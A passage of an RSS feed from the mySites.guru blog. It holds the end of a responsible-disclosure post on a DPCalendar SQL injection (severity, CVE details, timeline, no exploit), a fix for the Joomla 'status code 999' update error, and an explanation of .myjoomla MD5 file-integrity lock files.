&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. It is a read-only injection, so it stops short of the maximum score: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash, and other Joomla API secrets.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Our own assessment, pending the official vector&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This vulnerability is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;, assigned through the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt; (assigned via the Joomla CNA)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;DPCalendar for Joomla (&lt;code&gt;com_dpcalendar&lt;/code&gt;), all editions (Free, Pro, Business)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Digital Peak (&lt;a href=&quot;https://www.digital-peak.com/&quot;&gt;digital-peak.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (CWE-89)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; (Improper Neutralization of Special Elements used in an SQL Command)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;8.18.0 up to and including 10.11.0 on the current line, plus the Joomla 3 (8.x) branch, all editions&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on a short cycle from audit to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-12&lt;/strong&gt; We find the injection and report it privately Routine security research on the extensions our customers rely on turns up the unauthenticated SQL injection in DPCalendar. We confirm it against the code, prove it on a local install that reads database contents back through a single anonymous request, and disclose it to Digital Peak with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-13&lt;/strong&gt; Digital Peak ships the fix within 24 hours DPCalendar 10.11.2 for Joomla 4.4.4 to 6.x and 8.19.4 for Joomla 3, casting the author filter to an integer, released over a holiday break and outside their normal Thursday schedule. They publish a security advisory crediting mySites.guru. We verify the patched build and flag every connected site below the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; The Joomla CNA assigns CVE-2026-57831 Crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This DPCalendar flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug, in a different extension, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the official references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;Digital Peak&apos;s own security advisory&lt;/a&gt; - the vendor&apos;s write-up of the fix, crediting mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digital-peak.com/&quot;&gt;DPCalendar official site and downloads&lt;/a&gt; - the vendor&apos;s product page, where 10.11.2 (and 8.19.4 for Joomla 3) is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>dpcalendar</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/dpcalendar-sql-injection-disclosure.png" length="0" type="image/png"/></item><item><title>Joomla Update Error 999: a Dead Extension Redirecting to LinkedIn</title><link>https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/</link><guid isPermaLink="true">https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/</guid><description>The Joomla &apos;Invalid status code 999&apos; update error is an abandoned extension whose update site redirects to LinkedIn. Here is the fix.</description><pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You open a Joomla site to run updates, or you glance at your update dashboard, and you get this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Invalid status code &quot;999&quot;; must be an integer between 100 and 599, inclusive.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Your site responded with Invalid status code &quot;999&quot;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing you did is wrong. This is not a Joomla bug, and if you saw it in mySites.guru, it is not a mySites.guru bug either. One of your installed extensions is pointing its update check at a web address that no longer serves an update file. Here is exactly what the 999 means and the two-minute fix.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the 999 error has a habit of showing up on almost all of them at once, because the culprit is usually a single extension you installed everywhere. mySites.guru reads every update-site URL your sites report in its &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;, so you can find the dead one and clear it across your whole &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; instead of hunting site by site.&lt;/p&gt;
&lt;h2&gt;What does “Invalid status code 999” mean in Joomla?&lt;/h2&gt;
&lt;p&gt;999 is not a real HTTP status code. Every valid HTTP response has a three-digit status between 100 and 599, and 999 sits outside that range, so no well-behaved server should ever return it. LinkedIn is the exception: it replies with 999 to block automated traffic it does not recognise. If your Joomla update check returns a 999, the request ended up at LinkedIn instead of at an update file.&lt;/p&gt;
&lt;p&gt;So how does a Joomla update check end up at LinkedIn? Through an extension whose developer walked away.&lt;/p&gt;
&lt;h2&gt;Why an abandoned extension breaks your Joomla update check&lt;/h2&gt;
&lt;p&gt;Every Joomla extension that supports updates registers an “update site”: a URL Joomla calls to ask “is there a newer version?”. The developer owns that URL. When a developer abandons an extension and lets the domain or the update path lapse, that URL can start doing something it was never meant to do.&lt;/p&gt;
&lt;p&gt;The one that bites Dutch Joomla sites most often is an abandoned Dutch translation pack, RSJoomla! Dutch Translations by Wilco Alsemgeest. Its update site at &lt;code&gt;con-con.nl&lt;/code&gt; now issues a 301 redirect straight to the author’s LinkedIn profile. Joomla follows the redirect, LinkedIn decides the request is not a real browser, and LinkedIn answers 999.&lt;/p&gt;
&lt;p&gt;Under the bonnet, Joomla fetches update XML through its own HTTP library (&lt;code&gt;joomla/http&lt;/code&gt;), which is built on laminas-diactoros. Diactoros validates the status line of every response and throws the instant it sees a code outside the valid range:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Invalid status code &quot;999&quot;; must be an integer between 100 and 599, inclusive&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That check fires before Joomla ever gets to compare the response against 200, which is why the update stops immediately with the raw exception, without a tidy “no update available” message. The rule Diactoros is enforcing is not arbitrary. &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9110&quot;&gt;RFC 9110&lt;/a&gt;, the HTTP standard, defines a status code as a three-digit integer and reserves the entire valid space to 100 through 599. 999 is not in it.&lt;/p&gt;
&lt;p&gt;This is version-agnostic. It has nothing to do with which Joomla you run: sites on Joomla 4, 5, and 6 all hit it the same way because they share the same HTTP library. It also breaks Joomla’s own Pre-Update Check, so a single dead update site can block you from upgrading the CMS at all.&lt;/p&gt;
&lt;h2&gt;How do I find the update site causing the 999 error?&lt;/h2&gt;
&lt;p&gt;Go to Extensions, then Manage, then Update Sites in your Joomla administrator. That screen lists every update URL your installed extensions have registered, and you are looking for one that redirects off-site.&lt;/p&gt;
&lt;p&gt;Confirm it from the command line with curl:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -sI&lt;/span&gt;&lt;span&gt; -L&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://con-con.nl/ReleaseSystem/rsjoomla.xml&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A healthy update site returns 200 and some XML. A dead one looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;HTTP/2 301&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;location: https://www.linkedin.com/in/wilcoalsemgeest/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;HTTP/2 999&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The 301 to a LinkedIn profile followed by a 999 is the proof. LinkedIn’s response even includes an &lt;code&gt;x-li-fabric&lt;/code&gt; header, so there is no doubt about where the request ended up.&lt;/p&gt;
&lt;p&gt;If you would rather not touch the command line, mySites.guru shows the exact update-site URL for every stream on each site, so you can eyeball the list and spot the odd domain. It is worth &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;checking where every extension’s update site actually points&lt;/a&gt; regardless, because almost no one does, and an update URL is a route straight into your site’s update process.&lt;/p&gt;
&lt;h2&gt;How do I fix the 999 update error in Joomla?&lt;/h2&gt;
&lt;p&gt;Delete the offending update site, do not just disable it. In Extensions, Manage, Update Sites, select the dead entry and use Delete. If the extension itself is abandoned and you no longer need it, uninstall the extension too, which removes the update site for good.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Disabling the update site is not enough. Joomla re-enables disabled update sites the next time it checks for updates, so the error comes straight back. Delete it, and uninstall the abandoned extension if you can.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you use mySites.guru, do one more thing. Open Manage Site, then Config, scroll to the bottom, and turn off “re-enable disabled update sites”. Otherwise mySites.guru switches the dead site back on at the next check and the error returns.&lt;/p&gt;
&lt;h2&gt;Why disabling the update site isn’t enough&lt;/h2&gt;
&lt;p&gt;Joomla treats update sites as disposable and rebuilds them from each extension’s manifest. Disable one and the next “Find Updates” run can switch it straight back on. This is &lt;a href=&quot;https://docs.joomla.org/Help4.x:Extensions:_Update_Sites&quot;&gt;documented behaviour&lt;/a&gt;: the Rebuild button repopulates the update-sites table from your installed extensions’ manifest files, and Joomla has re-enabled disabled update sites on update checks for years (&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/13436&quot;&gt;issue #13436&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;A disable is temporary. A delete holds until the next rebuild. Uninstalling the dead extension is the only change that holds permanently, because there is no manifest left to rebuild from.&lt;/p&gt;
&lt;h2&gt;Can mySites.guru just ignore the 999 code?&lt;/h2&gt;
&lt;p&gt;No, and it would not help if it did. This question comes up every time: “can you patch your validator to accept 999 so the error goes away?” We will not, for two reasons.&lt;/p&gt;
&lt;p&gt;First, 999 is not a valid HTTP status. Teaching our tooling to trust malformed responses is exactly the kind of shortcut that hides real problems later.&lt;/p&gt;
&lt;p&gt;Second, and more practically, it would not fix anything. Even if mySites.guru swallowed the 999, Joomla’s own update client on your site still rejects it, so you would keep hitting the same wall in Joomla’s Update Manager and Pre-Update Check. The error is not in the validator. It is an abandoned update site, and that is where it has to be fixed. Do that once and it is fixed everywhere: in Joomla, in mySites.guru, and in any other tool that reads your update sites.&lt;/p&gt;
&lt;p&gt;If you want to push the extension author to fix it, the argument is simple. Their update site redirects to LinkedIn, LinkedIn returns a code that is not in the HTTP specification, so any client that respects the spec breaks. That is on the update site, not on Joomla.&lt;/p&gt;
&lt;h2&gt;Managing update sites across a portfolio of Joomla sites&lt;/h2&gt;
&lt;p&gt;Here is the pattern we see across large Joomla portfolios: one popular extension installed on every site, one dead update URL, and suddenly the update dashboard is red almost everywhere at once. A Dutch agency we work with hit exactly this, the same abandoned extension flagging the 999 across nearly their entire client list when they sorted their updates by site.&lt;/p&gt;
&lt;p&gt;At that scale, fixing it by hand on each site is the wrong tool. mySites.guru reads the update-site URLs from every connected site, so you can find the offender once and clear it everywhere, and the “re-enable disabled update sites” toggle keeps it gone. If you would rather we just sorted it, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;send us the details and we will look for free&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The 999 error vs the “offered update has expired” error&lt;/h2&gt;
&lt;p&gt;These two look similar and are completely different. The 999 error is a dead third-party update site on your own site. The &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;“offered update has expired” error&lt;/a&gt; is a problem at Joomla’s end, where the signed update metadata that Joomla.org serves has gone stale. One you fix on your site, the other you wait out or work around. If your update is failing, check which message you actually got before you change anything.&lt;/p&gt;
&lt;p&gt;One naming clash is worth clearing up too. This 999 has nothing to do with the &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;, which is Phil’s community security-patch repository for end-of-life Joomla 3. Same three digits, unrelated problem.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9110&quot;&gt;RFC 9110, HTTP Semantics (Section 15)&lt;/a&gt; - the standard that defines valid HTTP status codes as three-digit integers from 100 to 599.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://http.dev/999&quot;&gt;http.dev: the 999 status code&lt;/a&gt; - why 999 is non-standard, unregistered with IANA, and used by LinkedIn to block non-browser traffic.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status&quot;&gt;MDN: HTTP response status codes&lt;/a&gt; - the five valid status-code classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help4.x:Extensions:_Update_Sites&quot;&gt;Joomla Documentation: Update Sites&lt;/a&gt; - how Joomla stores, rebuilds, and manages extension update sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://uptimerobot.com/blog/999-status-code/&quot;&gt;UptimeRobot: a deep dive into the HTTP 999 status code&lt;/a&gt; - an accessible explainer of 999 as a bot-block response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are not already using mySites.guru to watch your Joomla and WordPress sites, &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;create an account&lt;/a&gt; and let it surface broken update sites, failed updates, and security issues across everything you manage.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/invalid-status-code-999-joomla-update-error.png" length="0" type="image/png"/></item><item><title>What Are the .myjoomla.configuration.php.md5 Files?</title><link>https://mysites.guru/blog/myjoomla-configuration-php-md5-files/</link><guid isPermaLink="true">https://mysites.guru/blog/myjoomla-configuration-php-md5-files/</guid><description>Found .myjoomla.configuration.php.md5 files in your Joomla webspace? They are not malware. They are mySites.guru file-integrity lock files. Here&apos;s what they do.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you have found a file called &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; sitting in your Joomla webspace, right next to &lt;code&gt;configuration.php&lt;/code&gt;, and wondered whether you have been hacked, here is the short version: no, you have not, and the file is safe. It was created by mySites.guru, not by an attacker.&lt;/p&gt;
&lt;p&gt;It is a file-integrity lock file. It holds a single 32-character MD5 fingerprint of your &lt;code&gt;configuration.php&lt;/code&gt;, and the mySites.guru connector on your site uses it to notice the moment that file is changed. There is nothing else inside it, and it does nothing to your site on its own.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;A file name starting with a dot is hidden by most FTP clients, cPanel file managers, and the plain &lt;code&gt;ls&lt;/code&gt; command. That is why these files seem to appear out of nowhere. The dot does not make a file dangerous, and it does not make it safe either. It just hides it from casual browsing.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Is the .myjoomla.configuration.php.md5 File?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; file is a tamper-detection sidecar. When you monitor &lt;code&gt;configuration.php&lt;/code&gt; with mySites.guru, the connector calculates the MD5 hash of that file and writes it, as one line of 32 hexadecimal characters, into a companion file in the same folder. For &lt;code&gt;configuration.php&lt;/code&gt; in your site root, that companion is &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The content is boring. Open one and you will see a single line like this and nothing more:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You get one lock file per watched file, named &lt;code&gt;.myjoomla.&amp;lt;filename&amp;gt;.md5&lt;/code&gt;, and it always sits in the same directory as the file it tracks. So if you monitor &lt;code&gt;/includes/defines.php&lt;/code&gt;, the lock file lives at &lt;code&gt;/includes/.myjoomla.defines.php.md5&lt;/code&gt;. Out of the box mySites.guru watches the files hackers tend to target on a Joomla site: &lt;code&gt;configuration.php&lt;/code&gt;, &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;includes/defines.php&lt;/code&gt;, &lt;code&gt;includes/framework.php&lt;/code&gt;, a core layout helper, and &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; is usually not the only one you will find. A default setup also leaves &lt;code&gt;.myjoomla.index.php.md5&lt;/code&gt; next to your &lt;code&gt;index.php&lt;/code&gt;, and a sidecar for each of the other watched files. You can change the watch list in your dashboard, and if you add or remove files, the set of &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; files on disk changes to match whatever you chose.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Alert tab showing the real-time file watch list, with a toggle for &amp;quot;Alert when one of these files has its content changed&amp;quot; and a monitored list of /index.php, /wp-config.php and /wp-admin/index.php&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1686px) 1686px, 100vw&quot; width=&quot;1686&quot; height=&quot;1424&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_Z1dltIG.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_Z1mhaRv.webp 640w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_Z22sA15.webp 750w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_ZIduql.webp 828w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_1OHQ9y.webp 1080w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_Z1hcsKv.webp 1280w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_2aOVTB.webp 1668w, https://mysites.guru/_astro/mysites-guru-file-watch-list.TwdvxieX_Z1dltIG.webp 1686w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;The Alert tab in mySites.guru, where you pick which files are monitored. This is a WordPress site, so the list shows &lt;code&gt;wp-config.php&lt;/code&gt;; on Joomla the same screen watches &lt;code&gt;configuration.php&lt;/code&gt; and writes the &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; sidecars instead.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The .myjoomla Prefix Is a Legacy Name&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.myjoomla&lt;/code&gt; part looks out of place on a modern install, and there is a simple reason for it. The connector has written that prefix for years, since long before the service was rebranded to mySites.guru. Renaming it now would orphan the existing lock files on every connected site at once and briefly re-trigger a modified-file alert on all of them, so the prefix stays exactly as it is.&lt;/p&gt;
&lt;p&gt;On WordPress the same connector does the same job with a different prefix. There you will find &lt;code&gt;.mywpguru.wp-config.php.md5&lt;/code&gt; rather than a &lt;code&gt;.myjoomla.&lt;/code&gt; file, again for historical reasons. The names differ, the mechanism is identical, and both are the same mySites.guru file-monitoring feature under the hood.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Uses the File to Detect Tampering&lt;/h2&gt;
&lt;p&gt;Every time a page on your site is rendered, front-end or administrator, the connector recalculates the MD5 hash of each watched file and compares it to the value stored in the matching &lt;code&gt;.md5&lt;/code&gt; lock file. Two things can happen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The hashes match.&lt;/strong&gt; The file has not changed. Nothing happens, and the check costs microseconds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The hashes differ.&lt;/strong&gt; The file has changed since the last check. The connector logs the event, sends an alert to mySites.guru (which emails you and any team members who have alerts enabled for that site), then rewrites the lock file with the new hash so you are not alerted again for the same change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the check is driven by page loads, it is near real-time rather than continuous. If an admin edits &lt;code&gt;configuration.php&lt;/code&gt; through the Joomla back-end, the same request that saves the change is the request that catches it. The only lag is when a file is altered over FTP or SSH on a site no one is visiting, in which case the comparison runs on the next page load. The full feature, including how to choose which files to watch and how to whitelist your own IP so your own edits do not raise a flag, is covered in our writeup on &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts for file changes and logins&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Isn’t MD5 Broken? Why That Doesn’t Matter Here&lt;/h2&gt;
&lt;p&gt;You may know that MD5 is cryptographically broken, and you would be right, but it does not weaken this particular use of it. MD5’s failure is collision resistance: an attacker can craft two brand-new files that happen to share the same hash. Noticing that your existing &lt;code&gt;configuration.php&lt;/code&gt; has changed is a different problem, and MD5 is still perfectly good at it.&lt;/p&gt;
&lt;p&gt;To beat this monitor, an attacker would need a second-preimage attack: take your specific &lt;code&gt;configuration.php&lt;/code&gt; and produce a different, malicious file with the identical MD5 hash. That is a far harder problem than a collision, and it remains computationally infeasible. Every headline MD5 break, the 2004 collisions, the 2008 chosen-prefix work, the Flame malware in 2012, involved the attacker controlling both files. Here mySites.guru controls the baseline. It hashes your real file and holds the fingerprint out of an attacker’s reach, so any ordinary edit, accidental corruption, or run-of-the-mill malware injection shifts the hash and trips the alert.&lt;/p&gt;
&lt;p&gt;There is a second reason MD5 earns its place here, and it is the one that actually drove the choice: speed. MD5 is one of the fastest hashes in common use, and this check runs on every single page load, so the cost of hashing has to stay close to zero. That shaped two intended decisions, keep the hashing algorithm cheap and keep the real-time watch list short. Swapping to SHA-256 would make each lock file larger and every page load do more work, for no real gain against this threat model. For change detection on a file you already control, on every request, MD5 is the right tool, not a compromise.&lt;/p&gt;
&lt;h2&gt;Why configuration.php Is the File Worth Watching&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; is the single most attractive file on a Joomla site. It holds your database username and password, the site &lt;code&gt;$secret&lt;/code&gt; key, FTP credentials if you use them, SMTP mailer credentials, and your log and tmp paths. An attacker who can edit it can repoint your database connection, disable error reporting to hide their tracks, or move your tmp path to a directory they control and drop code there.&lt;/p&gt;
&lt;p&gt;Getting an alert the instant that file changes means you find out before the attacker has time to do anything else with the access. WordPress has the same weak point in &lt;code&gt;wp-config.php&lt;/code&gt;, which is why the connector monitors it there and writes &lt;code&gt;.mywpguru.wp-config.php.md5&lt;/code&gt; alongside it. If a monitored config file does change unexpectedly, our guides on a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;hacked Joomla site&lt;/a&gt; and finding &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt; walk through what to check next without destroying the evidence.&lt;/p&gt;
&lt;p&gt;Worth knowing if you ever need to open &lt;code&gt;configuration.php&lt;/code&gt; or &lt;code&gt;wp-config.php&lt;/code&gt; yourself: our &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; doesn’t fence either file off specially, so you can edit or delete them like any other file, and a deleted config file goes to a recoverable trash first rather than taking your site down for good.&lt;/p&gt;
&lt;h2&gt;Is It Safe to Delete These .md5 Files?&lt;/h2&gt;
&lt;p&gt;Yes. Deleting a &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; file will not break your site. On the next page load the connector sees that the lock is gone, recalculates the hash, and writes it back as a fresh baseline. No alert fires for the missing lock file, because a missing baseline is treated as first-time monitoring rather than a change.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;There is one catch. If the watched file had already been tampered with, deleting its lock file makes the connector adopt the tampered version as the new known-good baseline, and you lose the chance to be alerted about that specific change. So do not delete these files as a routine cleanup step. To stop monitoring a file properly, remove it from the watch list in your mySites.guru dashboard instead of deleting the lock on disk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What File-Integrity Checks Won’t Catch&lt;/h2&gt;
